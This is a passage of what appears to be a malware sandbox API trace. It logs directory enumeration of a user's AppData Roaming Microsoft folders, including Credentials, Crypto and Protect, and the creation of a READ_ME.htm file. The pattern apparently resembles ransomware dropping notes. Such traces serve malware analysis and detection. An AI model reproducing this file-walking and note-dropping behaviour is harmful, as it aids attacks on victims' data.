ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0149.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0149.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0149.190] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.190] SetErrorMode (uMode=0x0) returned 0x1 [0149.190] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2c [0149.190] SetErrorMode (uMode=0x1) returned 0x0 [0149.190] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0149.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0149.193] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.193] SetErrorMode (uMode=0x0) returned 0x1 [0149.193] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x33 [0149.193] SetErrorMode (uMode=0x1) returned 0x0 [0149.193] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\addins\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.195] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.195] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.195] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.195] SetErrorMode (uMode=0x0) returned 0x1 [0149.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x33 [0149.196] SetErrorMode (uMode=0x1) returned 0x0 [0149.196] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\addins\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.196] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.196] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.196] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.196] SetErrorMode (uMode=0x0) returned 0x1 [0149.197] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0149.197] SetErrorMode (uMode=0x1) returned 0x0 [0149.197] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\addins\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 